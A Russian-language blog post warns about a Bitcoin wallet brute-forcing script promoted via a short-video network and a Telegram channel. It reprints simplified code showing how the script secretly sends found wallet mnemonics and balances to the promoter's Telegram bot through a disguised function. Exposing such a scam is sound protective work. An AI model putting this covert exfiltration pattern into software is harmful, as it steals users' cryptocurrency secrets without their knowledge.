Pull to refresh

Про бесплатный сыр, одну популярную соц. сеть и поиск сокровищ в биткоинах

Дело было вечером, делать было нечего. Отдыхая в одной популярной молодежной соц. сети коротких видео, наткнулся на интересный материал. Видеоролик рассказывал о том, что его автор, при помощи специально написанного скрипта получал некие баснословные деньги с биткоин кошельков.

В душе проснулась алчность и я побежал смотреть, как же так получается и что нужно делать чтобы прийти к жизни такой.

Конечно, в шапке профиля автора нашлась ссылка на телеграм канал со ссылками и подробными инструкциями. Там мне предложили ссылку на github, где расположен исходный код скрипта, и подробную инструкцию, как что делать.

В закрепленных сообщениях была ссылка на статью вот с таким вступлением.

Скачав исходный код чудо-скрипта я с удивлением обнаружил, что он написан на python. К нему прилагалась инструкция для непосвященных, как установить python, и как дополнительные модули скачать.

Заглянув в код и запустив сей инструмент для заработка (На виртуальной машине, конечно. Безопасность превыше всего!) я обнаружил, что программа случайно перебирает кошельки, генерирует к ним мнемоник Bip39 фразы, и ищет те, у которых ненулевой баланс. То есть, брутфорс.

Мне подумалось, что не слишком разумно использовать для брутфорса python. Программа на C/C++ могла бы быть на порядки эффективнее, и, погруженный в эти мысли, я полез в интернеты читать, как же всё это работает, потому как сам в тему не погружен.

На форумах вычитал примерно следующую мысль: "Большая часть того, что можно было таким образом найти, уже найдена. Шансы катастрофически стремятся к нулю".

И тут мне стало интересно, какой тогда резон автора.

Я стал подробно изучать код скрипта, и наткнулся примерно на вот такие строки:

#...
if balance > 0:
	msg = 'BAL: {} | REC: {} | ADDR: {} | MNEM: {}'.format(balance, received,
																																						addy,
                                                                            mnemonic_words))

                    response = Bip39Gen64(msg)
    if response == 39:
      # И далее вывод данных найденного кошелька на экран, в файл...

Мне стало интересно, почему 39, и что за функция такая интересная. Я полез в соседний файл, и обнаружил примерно это:

import requests

def Bip39Gen64(msg):
    requests.get("https://api.telegram.org/bot_НЕКИЕ_ЦИФРЫ_/SendMessage?chat_id=_ЕЩЕ_ЦИФРЫ_&text="+msg))
    return 1

И где тут 39? А нет его. Есть только код, который посылает куда-то в телеграм, предполагаю, что автору, данные о найденных богатствах. А ты не получаешь ничего. Ни заветного числа 39, ни данных об удачно найденной криптовалюте.

И тут до меня дошло, насколько хитро придумано.

Если ты один брутфорсишь кошельки, шансов что-то найти слишком мало. Но если поручить задачу поиска сокровищ большому количеству народа - то шансы возрастут.

Как поручить народу? Заставить не получится, им нет резона тебе помогать.

Но можно сказать людям, что они сами имеют все шансы несметно разбогатеть, и тогда они сами захотят сделать то, что ты просишь. Где найти таких наивных людей? Правильно, в популярной молодежной соц. сети коротких видеороликов. А, учитывая, что там первое твоё видео увидит большое количество людей, есть неплохие шансы завлечь кого-нибудь. Да не просто завлечь, а так заинтересовать, что эти самые кто-нибудь будут плакаться в комментариях, что у них не получается установить python.

И это работает. Когда я заинтересовался, подписчиков в телеграм канале было около 800. Сейчас, вечером следующего дня, уже 4,5к.

И самое интересное, что даже если ты умник и разобрался в происходящем, как я, то тебе ничего не остается, кроме как писать статьи на Хабре о том, как ты восхищаешься автором. Почему? Потому что сам ты, даже запретив пересылать все важные данные о сокровищах автору, ничего найти не сможешь. По крайней мере, шансов очень мало. А вот он сможет, потому что на него теперь работают люди, много, во много потоков и с разных ip.

В общем, мораль сей басни такова: чем больше денег тебе предлагают за так, тем больше у тебя поводов насторожиться.

P. S.: Написал под видео автора "Автору моё почтение. Придумано очень хитро. Человек не в теме никогда и не заметит". Но мой комментарий удалили.

P. P. S.: писать статью придумал не сразу, исходники у себя удалил, а когда заново нашел тот самый канал и код, там уже всё поправили, и теперь хитрость с отправкой данных обнаружишь только если сильно разбираешься, так что, снимаю шляпу, это действительно меня восхитило.

Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.